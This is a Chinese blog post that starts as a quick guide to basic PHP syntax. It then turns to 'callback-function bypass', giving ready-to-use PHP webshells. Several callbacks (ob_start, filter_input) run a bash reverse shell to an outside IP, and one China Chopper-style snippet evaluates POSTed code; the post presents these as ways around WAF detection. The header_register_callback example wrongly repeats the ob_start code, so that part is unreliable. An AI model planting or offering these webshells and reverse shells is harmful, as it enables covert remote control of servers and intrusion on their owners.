速通php基础语法
变量声明与赋值：
$variable_name = value;
PHP中的变量以$符号开头，可以存储各种数据类型，如整数、浮点数、字符串、数组等。
数据类型：
-
整数（int）
-
浮点数（float）
-
字符串（string）
-
布尔值（boolean）
-
数组（array）
-
对象（object）
-
空值（null）
字符串操作：
$string1 = "Hello";
$string2 = "World";
echo $string1 . " " . $string2; // 输出: Hello World
条件语句：
if (condition) {
// 条件为真时执行的代码
} elseif (another_condition) {
// 如果第一个条件为假且这个条件为真时执行的代码
} else {
// 如果上述条件都不满足时执行的代码
}
循环语句：
-
for循环
for ($i = 0; $i < 5; $i++) {
echo "Number: $i <br>";
}
//输出：
//Number: 0
//Number: 1
//Number: 2
//Number: 3
//Number: 4
-
while循环
$count = 0;
while ($count < 3) {
echo "Count: $count <br>";
$count++;
}
//输出：
//Count: 0
//Count: 1
//Count: 2
-
foreach循环（用于遍历数组）
$fruits = array("Apple", "Banana", "Orange");
foreach ($fruits as $fruit) {
echo "$fruit <br>";
}
//输出：
//Apple
//Banana
//Orange
-
关联数组，获取键和值
$person = array("name" => "John", "age" => 30, "city" => "New York");
foreach ($person as $key => $value) {
echo "$key: $value <br>";
}
//输出：
//name: John
//age: 30
//city: New York
函数定义与调用：
function functionName($param1, $param2) {
// 函数体
return $result;
}
// 调用函数
$result = functionName($arg1, $arg2);
数组操作：
$array = array("apple", "banana", "orange");
echo $array[0]; // 输出: apple
// 关联数组
$assoc_array = array("name" => "John", "age" => 30);
echo $assoc_array["name"]; // 输出: John
超级全局变量：
PHP中的特殊变量，如$_GET,$_POST,$_SESSION,$_COOKIE,$_SERVER等，用于从表单、URL、服务器环境等接收数据。
包含文件：
可以使用include或require将一个文件包含到另一个文件中。
include 'filename.php';
require 'filename.php'; // 如果文件不存在或者有问题，会引发致命错误
错误处理：
try {
// 可能引发异常的代码
} catch (Exception $e) {
// 异常处理代码
}
回调函数绕过
1.ob_start：
-
函数功能：输出缓冲是 PHP 中的一种机制，允许你在将输出发送到浏览器之前捕获由 PHP 脚本生成的输出。
-
示例：
# 自动触发
<?php function a($b){exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}ob_start("a");?>
2.header_register_callback：
-
函数功能：当 PHP 发送 HTTP 标头时，该回调函数将会被调用。
-
示例：
# 自动触发
<?php
function a($b){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
ob_start("a");
?>
3.filter_input：
-
函数功能：获取输入变量并过滤它的值的函数。
-
示例：
# 需要 POST 一个 C 参数 , 就会触发反弹 shell
<?php
function a($value){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));
?>
# 直接菜刀连接 , 密码为 c
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
<?php
function a($c){
$c($_GET['d']);
}
filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));
?>
回调函数还有很多，可以自己去搜集，但是在如今回调函数早就被waf给重点关注了
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
